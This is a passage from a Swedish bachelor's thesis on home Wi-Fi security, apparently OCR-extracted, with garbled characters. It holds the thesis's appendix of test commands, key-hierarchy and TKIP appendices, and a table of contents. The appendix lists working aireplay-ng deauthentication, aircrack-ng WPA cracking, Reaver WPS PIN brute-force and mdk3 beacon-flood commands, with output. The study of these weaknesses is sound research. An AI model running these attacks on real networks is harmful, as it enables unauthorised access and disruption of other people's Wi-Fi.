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e sudo aireplay-ng -0 <antal> -a <BSSID> -c <malMAC> <grénssnitt>
antal — Antalet avautentiseringspaket som ska skickas.
BSSID — MAC-adressen for malnatverket.
mdlMAC — MAC-adressen for klienten som ska avautentiseras.
grdnssnitt — Namnet pd overvakningsgrénssnittet.

Klienten med MAC-adress <malMAC> avautentiserades for att paskynda en
handskakning. Programmet airodump-ng fangade handskakningen nir klienten
aterautentiserade sig. For att starta forceringen anvéndes foljande kommando:

e aircrack-ng -w <ordlista> -b <BSSID> <filnamn>
ordlista — fil med ord i, som anvénds vid attack.
BSSID — MAC-adressen for malnitverket.

filnamn — Filen déar fyrvigshandskakningen finns sparad.

Nér programmet aircrack-ng gatt igenom en ordlista exekverades programmet pa nytt
med den andra ordlistan. Denna procedur var likadan f6r bAde WPA och WPA2.

1.3 Forceringsattack mot WPS
For att ta reda pd namnet pa det granssnitt som ndtverkskortet anvinder kordes foljande
kommando:

+ sudo ifconfig

Vanligtvis har detta grinssnitt namnet wlan0, vilket det dven hade 1 vart fall. Namnet
anvinds 1 foljande exempel. Nésta steg var att sitta ndtverkskortet i 6vervakningslidge
(eng. monitor mode) for att kunna lyssna pa all trafik inom rickhéll for natverkskortet.
Detta gjordes genom att kdra kommandot:

* sudo airmon-ng start <ndtverksgranssnitt>
ndtverksgrdanssnitt — Namnet pé nétverkskortets granssnitt.

Nér kommandot exekverats skrevs namnet pa det grinssnitt som Overvakningsldget
anvénder sig av ut i terminalen. I vért fall var detta mon0, vilket anvinds i foljande
exempel.

Naésta steg var att ta reda pd om malndtverket kunde angripas med hjélp av Reaver. Det
vill sdga att det hade stod for WPS version 1.0h och inte hade nagra sékerhetslosningar

implementerade s& som WPS-lasning. Detta gjordes genom att ange:

 wash -i <grédnssnitt>
grdnssnitt — Namnet pa dvervakningsgranssnittet.

Nar malnétverket syntes i listan avbrots avlyssningen. Darefter noterades mélnitverkets
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BSSID. I foljande exempel anvinds nédtverksnamnet TestNetwork och BSSID <BSSID>.
I och med att wash visade ndtverket var en attack med Reaver mojlig. Attacken
paborjades med foljande kommando:

* reaver -i <grédnssnitt> -b <BSSID> -vv
grdanssnitt — Namnet pa dvervakningsgranssnittet.
BSSID — MAC-adressen for malnatverket.

Direfter paborjade Reaver forceringsattacken. Nér den lyckats gissa ritt PIN-kod
atergavs koden och nitverksnyckeln i1 klartext. Slutet pa hindelseforloppet i1 vart fall sag
ut pa foljande sétt:

Trying pin 41607642

Sending EAPOL START request
Sending identify request
Sending identify respons

[+] Received M1 message

[+] Sending M2 message

[+] Received M3 message

[+] Sending M4 message

[+] Received M5 message

[+] Sending M6 message

[+] Received M7 message

[+] Sending WSC NACK

[+] Sending WSC NACK

Pin cracked in 29910 seconds
WPS PIN: ‘41607642’

WPA PSK: ‘ :.$f|c=-0"-N5*["2(#=~B’
AP SSID: ‘TestNetwork'’

1.4 Utstorning av tradlosa hemniitverk

1.4.1 Avautentisering
For att skapa ett dvervakningsgrénssnitt anvindes kommandot.

« sudo airmon-ng start <ndtverksgrédnssnitt>
ndtverksgrdnssnitt — Namnet pa natverkskortets granssnitt.

Overvakningsgriinssnittet anvindes sedan med airodump-ng for att hitta klienter
anslutna till specificerat ndtverk. Kommandot som anvéndes var:

*+ sudo airodump-ng --bssid <BSSID> <grédnssnitt>
BSSID — MAC-adressen for malnatverket.

grdanssnitt — Namnet pa dvervakningsgrianssnittet.

I denna utdata hittades klienten <malMAC> som skulle avautentiseras.
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CH 5 ][ Elapsed: 1 min ][ 2013-05-15 01:19

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
<BSSID> -22 93 112 0 6 54e WPA2 CCMP PSK TestNetwork
BSSID STATION PWR Rate Lost Frames Probe

<BSSID> 1A:61:93:A7:3C:85 ~-17 0 -1 0 3

<BSSID> <malMAC> -48 36e- le 8 21 TestNetwork
<BSSID> CC:08:E0:A8:FC:92 -54 5e- le 0 100

For att avautentisera klienten anviandes kommandot:

* sudo aireplay-ng -0 <antal> -a <BSSID> -c <malMAC> <grénssnitt>
antal — Antalet avautentiseringspaket som ska skickas.
BSSID — MAC-adressen for malnatverket.
malMAC — MAC-adressen for klienten som ska avautentiseras.
grdnssnitt — Namnet pa overvakningsgranssnittet.

1.4.2 Massutskick av beacon-ramar
For att anvanda mdk3 med massutskick av beacon-ramar maste forst natverkskortet
forsitta 1 6vervakningslidge anvindes kommandot:

« sudo airmon-ng start <ndtverksgrédnssnitt>
ndtverksgrdanssnitt — Namnet pa natverkskortets granssnitt.

Overvakningsgriinssnittet anvindes sedan av mdk3 for att skicka ut ramarna med hjilp
av kommandot:

* sudo mdk3 <granssnitt> b -m
grdanssnitt — Namnet pa overvakningsgransnittet.

Programmet paborjar darefter ett massutskick av beacon-ramar med slumpade
natverksnamn och reserverade MAC-addresser. Ett utdrag av erhallen utdata visas
nedan.

Current MAC: 00:07:50:7C:C2:54 on Channel 2 with SSID: a71iORk

Current MAC: 00:0F:66:3E:05:F1 on Channel 11 with SSID: |i*K4®

Current MAC: 00:01:38:40:4D:45 on Channel 5 with SSID: p#2Rd\3lU,G!3L;!zf
Current MAC: 00:60:6D:E5:F6:E6 on Channel 4 with SSID: I0aJWS6g

Packets sent: 135 - Speed: 62 packets/sec

Varianten av attacken didr ramar skickas ut for existerande néitverk utfordes med

kommandot:

* sudo mdk3 <grédnssnitt> b -n <SSID> -m-a
grdnssnitt — Namnet pa dvervakningsgransnittet.
SSID — Namnet pa malnitverket.

Beacon-ramar med nétverksnamnet <SS/D> skickades darefter ut med giltiga WPA2-
flaggor.
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Appendix J Nyckelhierarkin

En mindre méngd nycklar anvédnds till olika mekanismer i WPA (Wi-Fi Protected
Access). De nycklar som anvénds for att kryptera trafik i bAde WPA och WPA2 kan vara
av tva typer; enkelsindning (eng. unmicast) och flersindning (eng. multicast). Med
enkelsdndning menas hédr en nyckel som anvénds for att kryptera trafik mellan tva
enheter. Flersdndning innebér hér att en nyckel anvénds for att skicka krypterad trafik
frén en enhet till flera enheter samtidigt.

Det alla nycklar, som anvéinds for enkelsdndning, har gemensamt &r att de frdn borjan
kommer fran en och samma nyckel; PMK (Pairwise Master Key). En PMK maéste besta
av 256 bitar vilket innebér att om en anvidndare matar in ett l10senord bestdende av farre
an 32 oktetter kommer de resterande noddvédndiga bitarna genereras internt. PMK
genereras utifrdn l16senordet, ndtverksnamnet samt lingden pa nédtverksnamnet.

PMK 256 bitar

WPA: 512 bitar
PTK WPA2: 386 bitar

KCK KEK TK

bit 0 - 127 bit 128 - 255 WPA: bit 256 - 511
WPA2: bit 256-383

Figur 26 Hierarkin for enkelsdndningsnycklarna.

En PTK (Pairwire Transient Key) genereras genom att anvinda nonce S, nonce A4,
klientenhetens MAC-adress, accesspunktens MAC-adress och en PMK som indata till
en pseudoslumpgenerator. PTK partitioneras i sin tur upp i tre andra nycklar; KCK (Key
Confirmation Key), KEK (Key Encryption Key) samt TK (Temporal Key). Figur 26
illustrerar denna hierarki och visar vilka av bitarna i en PTK som motsvarar respektive
nyckel. Hér skiljer sig WPA och WPA2 at. Den PTK som genereras i WPA bestar av 512
bitar och den som genereras i WPA2 bestér av 384 bitar. Detta beror pa att i AES, vilket
WPA2 anvédnder sig av, anvidnds samma nyckel for kryptering som for
integritetskontroll. I WPA &r det TK som blir partitionerad till tva stycken 128 bitar
langa nycklar. TK &r nyckeln som anvénds for att kryptera den vanliga trafiken mellan
klienten och accesspunkten, medan KCK anvédnds for att kryptera genererade MIC-
virden och KEK for att kryptera GTK (Group Transient Key). For fullstindig
specifikation se [5, Ch. 11.6.1 ].
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Appendix K MSDU och MPDU i TKIP

4 olctetter 4 oltetter = 1 oktett 8 oktetter 4 olctetter 4 alctetter
MA C-huvudet | IV/Nyckel ID | Utdkad IV Data (PDU) MIC ICV ECS
B Krvpterat -

Figur 27. Innehdllet i en krypterad och icke fragmenterad MPDU.

En MSDU (MAC Service Data Unit) ér ett paket som skickas mellan mjukvaran och
MAC-lagret (Media Access Control) [8, pp. 1 193-1 194]. I MAC-lagret konverteras
paketen till en eller flera MPDU (MAC Protocol Data Unit) for vidaresdndning. En
MSDU fragmenteras vanligen till flera stycken MPDU, om si behdvs beroende pa
storleken som denna har. Alla paket far ett TSC-vérde (TKIP Sequence Counter), vilket
inkrementeras med virdet ett for varje MPDU. I Figur 27 illustreras innehallet 1 en
krypterad MPDU.

XVIII



Bilaga I




	Kandidatarbete inom Data- och informationsteknik
	Förord
	Sammanfattning
	Abstract
	Innehållsförteckning
	Förkortningslista
	Definitioner
	1 Inledning
	1.1 Bakgrund
	1.2 Syfte
	1.3 Avgränsningar
	1.4 Precisering av frågeställningen

	2 Teknisk referensram
	2.1 Ramar för Media Access Control
	2.2 Branschorganisationer
	2.2.1 Institute of Electrical and Electronics Engineers
	2.2.2 Wi-Fi Alliance

	2.3 Säkerhetsprotokollet Wired Equivalent Privacy
	2.3.1 Specifikation
	2.3.2 Attacker och brister
	2.3.2.1 Attack för att generera nya nyckelströmmar
	2.3.2.2 Shared key-attack
	2.3.2.3 Fragmenteringsattack
	2.3.2.4 Statistiska attacker


	2.4 Säkerhetsprotokollet Wi-Fi Protected Access
	2.4.1 Specifikation
	2.4.2 Fyrvägshandskakningen i både WPA och WPA2
	2.4.3 Attacker och brister
	2.4.3.1 Forceringsattack med ordlista
	2.4.3.2 Attack som utnyttjar Quality of Service


	2.5 Säkerhetslösningen Wi-Fi Protected Setup
	2.5.1 Specifikation
	2.5.1.1 Registrationsprotokollet
	2.5.1.2 Initiering
	2.5.1.3 Registrationsprotokollets meddelanden
	2.5.1.4 Bevisad kännedom av PIN-koden

	2.5.2 Säkerhet
	2.5.2.1 PIN-koden
	2.5.2.2 Exekvering av WPS in-band
	2.5.2.3 Skärmlösa enheter
	2.5.2.4 Enheter med skärm
	2.5.2.5 Enheter med NFC
	2.5.2.6 Konfigurationskrav
	2.5.2.7 Accesspunkt med extern registrator

	2.5.3 Brister
	2.5.3.1 Felaktig design av installationsmetod
	2.5.3.2 Felaktig design av registrationsprotokollet


	2.6 Utstörning av trådlösa hemnätverk
	2.6.1 Avautentisering av anslutna enheter
	2.6.2 Massutskick av beacon-ramar


	3 Metod
	3.1 Säkerhetsprotokollet Wired Equivalent Privacy
	3.1.1 Passiv statistisk attack
	3.1.2 Statistisk attack med återspelning
	3.1.3 Forcering

	3.2 Wi-Fi Protected Access
	3.2.1 Forcering med hjälp av ordlista

	3.3 Säkerhetslösningen Wi-Fi Protected Setup
	3.4 Utstörning av trådlösa hemnätverk
	3.4.1 Avautentiseringsattacker
	3.4.2 Massutskick av beacon-ramar

	3.5 Undersökning
	3.5.1 Nuvarande användning av säkerhetslösningar
	3.5.2 Leverantörers riktlinjer
	3.5.2.1 Telefonundersökningen
	3.5.2.2 E-post till kundtjänst
	3.5.2.3 E-post till pressavdelning
	3.5.2.4 Information från officiell hemsida



	4 Resultat
	4.1 Säkerhetsprotokollet Wired Equivalent Privacy
	4.1.1 Passiv statistisk attack
	4.1.2 Statistisk attack med återspelning
	4.1.3 Forcering

	4.2 Forcering med ordlista mot Wi-Fi Protected Access
	4.3 Forceringsattack mot Wi-Fi Protected Setup
	4.4 Utstörning av trådlösa hemnätverk
	4.4.1 Avautentiseringsattacker
	4.4.2 Massutskick av beacon-ramar

	4.5 Undersökning
	4.5.1 Nuvarande användning av säkerhetslösningar
	4.5.2 Internetleverantörers riktlinjer
	4.5.2.1 Telefonundersökningen
	4.5.2.2 E-post till kundtjänst
	4.5.2.3 E-post till pressavdelning
	4.5.2.4 Information från officiell hemsida



	5 Diskussion
	5.1 Säkerhetsprotokollet Wired Equivalent Privacy
	5.2 Säkerhetsprotokollen Wi-Fi Protected Access och Wi-Fi Protected Access 2
	5.3 Säkerhetslösningen Wi-Fi Protected Setup
	5.4 Utstörning av trådlösa hemnätverk
	5.5 Undersökning av säkerhetslösningars förekomst i hemnätverk

	6 Slutsatser
	7 Källförteckning
	Appendix A Strömchifferalgoritmen RC4
	Appendix B Ekvationen som utnyttjas vid den statistiska attacken mot WEP
	Appendix C MIC
	Appendix D Funktion för att blanda nycklar
	Appendix E AES-CCMP
	Appendix F Installationsmetoder i WPS
	F.1 PIN
	F.2 PBC

	Appendix G Upptäcktsfasen i WPS
	Appendix H PIN-koden i WPS
	Appendix I Kommandon som utförts vid testerna
	I.1 WEP
	I.1.1 Injicering av paket
	I.1.2 Forcering av lösenordet

	I.2 Forcering av WPA och WPA2 med ordlista
	I.3 Forceringsattack mot WPS
	I.4 Utstörning av trådlösa hemnätverk
	I.4.1 Avautentisering
	I.4.2 Massutskick av beacon-ramar


	Appendix J Nyckelhierarkin
	Appendix K MSDU och MPDU i TKIP
	Bilaga I

